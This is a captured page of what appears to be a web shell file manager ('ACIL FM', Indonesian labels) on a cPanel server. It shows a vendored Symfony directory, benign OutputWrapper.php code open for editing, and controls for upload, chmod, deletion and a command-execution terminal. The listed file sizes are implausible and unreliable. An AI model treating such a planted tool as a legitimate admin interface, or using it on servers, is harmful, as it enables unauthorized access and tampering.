ACIL FM
Dark
Refresh
Current DIR:
/opt/cpanel/ea-wappspector/vendor/rector/rector/vendor/symfony/console/Helper
/
opt
cpanel
ea-wappspector
vendor
rector
rector
vendor
symfony
console
Helper
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
DebugFormatterHelper.php
3.32 MB
chmod
View
DL
Edit
Rename
Delete
DescriptorHelper.php
2.62 MB
chmod
View
DL
Edit
Rename
Delete
Dumper.php
2.39 MB
chmod
View
DL
Edit
Rename
Delete
FormatterHelper.php
2.25 MB
chmod
View
DL
Edit
Rename
Delete
Helper.php
4.77 MB
chmod
View
DL
Edit
Rename
Delete
HelperInterface.php
858 B
chmod
View
DL
Edit
Rename
Delete
HelperSet.php
1.85 MB
chmod
View
DL
Edit
Rename
Delete
InputAwareHelper.php
800 B
chmod
View
DL
Edit
Rename
Delete
OutputWrapper.php
3.08 MB
chmod
View
DL
Edit
Rename
Delete
ProcessHelper.php
4.7 MB
chmod
View
DL
Edit
Rename
Delete
ProgressBar.php
20.27 MB
chmod
View
DL
Edit
Rename
Delete
ProgressIndicator.php
7.24 MB
chmod
View
DL
Edit
Rename
Delete
QuestionHelper.php
19.48 MB
chmod
View
DL
Edit
Rename
Delete
SymfonyQuestionHelper.php
3.32 MB
chmod
View
DL
Edit
Rename
Delete
Table.php
31.72 MB
chmod
View
DL
Edit
Rename
Delete
TableCell.php
1.78 MB
chmod
View
DL
Edit
Rename
Delete
TableCellStyle.php
2.11 MB
chmod
View
DL
Edit
Rename
Delete
TableRows.php
635 B
chmod
View
DL
Edit
Rename
Delete
TableSeparator.php
549 B
chmod
View
DL
Edit
Rename
Delete
TableStyle.php
12.85 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /opt/cpanel/ea-wappspector/vendor/rector/rector/vendor/symfony/console/Helper/OutputWrapper.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace RectorPrefix202411\Symfony\Component\Console\Helper; /** * Simple output wrapper for "tagged outputs" instead of wordwrap(). This solution is based on a StackOverflow * answer: https://stackoverflow.com/a/20434776/1476819 from user557597 (alias SLN). * * (?: * # -- Words/Characters * ( # (1 start) * (?> # Atomic Group - Match words with valid breaks * .{1,16} # 1-N characters * # Followed by one of 4 prioritized, non-linebreak whitespace * (?: # break types: * (?<= [^\S\r\n] ) # 1. - Behind a non-linebreak whitespace * [^\S\r\n]? # ( optionally accept an extra non-linebreak whitespace ) * | (?= \r? \n ) # 2. - Ahead a linebreak * | $ # 3. - EOS * | [^\S\r\n] # 4. - Accept an extra non-linebreak whitespace * ) * ) # End atomic group * | * .{1,16} # No valid word breaks, just break on the N'th character * ) # (1 end) * (?: \r? \n )? # Optional linebreak after Words/Characters * | * # -- Or, Linebreak * (?: \r? \n | $ ) # Stand alone linebreak or at EOS * ) * * @author Krisztián Ferenczi <ferenczi.krisztian@gmail.com> * * @see https://stackoverflow.com/a/20434776/1476819 */ final class OutputWrapper { /** * @var bool */ private $allowCutUrls = \false; private const TAG_OPEN_REGEX_SEGMENT = '[a-z](?:[^\\\\<>]*+ | \\\\.)*'; private const TAG_CLOSE_REGEX_SEGMENT = '[a-z][^<>]*+'; private const URL_PATTERN = 'https?://\\S+'; public function __construct(bool $allowCutUrls = \false) { $this->allowCutUrls = $allowCutUrls; } public function wrap(string $text, int $width, string $break = "\n") : string { if (!$width) { return $text; } $tagPattern = \sprintf('<(?:(?:%s)|/(?:%s)?)>', self::TAG_OPEN_REGEX_SEGMENT, self::TAG_CLOSE_REGEX_SEGMENT); $limitPattern = "{1,{$width}}"; $patternBlocks = [$tagPattern]; if (!$this->allowCutUrls) { $patternBlocks[] = self::URL_PATTERN; } $patternBlocks[] = '.'; $blocks = \implode('|', $patternBlocks); $rowPattern = "(?:{$blocks}){$limitPattern}"; $pattern = \sprintf('#(?:((?>(%1$s)((?<=[^\\S\\r\\n])[^\\S\\r\\n]?|(?=\\r?\\n)|$|[^\\S\\r\\n]))|(%1$s))(?:\\r?\\n)?|(?:\\r?\\n|$))#imux', $rowPattern); $output = \rtrim(\preg_replace($pattern, '\\1' . $break, $text), $break); return \str_replace(' ' . $break, $break, $output); } }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply